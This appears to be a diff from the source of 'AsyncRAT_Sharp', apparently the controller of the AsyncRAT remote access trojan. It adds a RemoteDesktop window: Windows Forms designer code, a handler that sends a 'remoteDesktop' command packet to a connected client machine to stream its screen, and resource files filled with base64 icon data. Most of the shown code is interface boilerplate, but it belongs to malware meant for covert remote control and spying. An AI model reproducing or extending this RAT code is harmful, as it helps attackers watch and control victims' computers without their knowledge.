xm+fuT8FwASOAH8LPE1XxwWvTyis+OtmDCuWUbiMOaNwiden9Af8JwAnmTP4PheDTy0iADqxjMINWLOB
7UCN16fkIwHoBZ7BeuofFoNPDyIAXmAZhTdi+QP3AuWenYv3AjAKvIL1nv8bMfj0IgLgJZ3Jci42Cou1
n4N3AjDFxQbfqBcnUeiIAPiBzmQNc0bhBnR+L/oFwAQOM2fw9eo8uHAxIgB+ojO5FMsk/GNgqZZj6hWA
L7DMvX+iq+MLXQcVrowIgN/oTBpcbBTWKj2eHgG4wMUGn6n6gII9RAD8SmeyCMsX+Essn0CNUahWAEaB
l7ESfG/R1TGt6kCCM0QA/I5lFN6DJQQ34rZRqEYApoDfYA38V8Xg8y8iAEHBMgofx3o1aAEirvxddwUg
BRzCmuo/Kwaf/xEBCBqdySXMGYXL8v577gnA58wZfCe9/IgE+4gABBHLKGzGKkSyk3yMwvwF4ALwFFZh
jiNi8AULEYAgYxmF12MFibYC8Zz/hnMBGAF+hhXk+a0YfMFEBCAMdCbLsIzCv8AqWmrfKMxdAKaA/VgD
/1W6Osa8vnzBOSIAYaIzWc2cUdiKHaPQvgCkgIPMGXx9Xl+ukD8iAGGkM7kYq5HJf8KqV3hl7AnAZ8A/
Aj+kq+NLry9PcA8RgLBiGYXrgT/DanFWd9nfu7oA9ABPAt8DPhKDL3yIAIQdyyi8DssfuJ+vGoWXF4AR
4N+w3vN/JwZfeBEBKBQso/AurERhB2mj8GIBmALexErw/VwMvvAjAlBodCarsPobfgtoZ3IwyuTwDPAh
lsG3j66Ofq9PU9CDCECh0plcBnyHycEdTA49DcZf09XxudenJejl/wPOfLn9LkiyfAAAAABJRU5ErkJg
gg==
</value>
</data>
</root>

View File

@ -0,0 +1,75 @@
namespace AsyncRAT_Sharp.Forms
{
partial class RemoteDesktop
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop));
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
//
// pictureBox1
//
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
//
// timer1
//
this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// RemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(938, 485);
this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "RemoteDesktop";
this.Text = "RemoteDesktop";
this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
}
#endregion
public System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Timer timer1;
}
}

View File

@ -0,0 +1,61 @@
using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using AsyncRAT_Sharp.Sockets;
using AsyncRAT_Sharp.MessagePack;
namespace AsyncRAT_Sharp.Forms
{
public partial class RemoteDesktop : Form
{
public RemoteDesktop()
{
InitializeComponent();
}
public Form1 F { get; set; }
internal Clients C { get; set; }
public bool Active { get; set; }
public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(80);
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.Client.Connected)
{
this.Close();
}
}
private void RemoteDesktop_Activated(object sender, EventArgs e)
{
if (Active == false)
{
Active = true;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true";
C.BeginSend(msgpack.Encode2Bytes());
}
}
private void RemoteDesktop_Deactivate(object sender, EventArgs e)
{
if (Active == true)
{
Active = false;
}
}
}
}

View File

@ -0,0 +1,580 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
/P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
/////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5////
///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919
ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW
RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19
AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA
Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx
AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS////
///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918
AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx
AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919
AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5
EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919
AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+
/f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx
AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E
D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx
ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919
AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx
AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19
AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx
AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx
ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx
AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A
A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA
AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA
AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19
AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
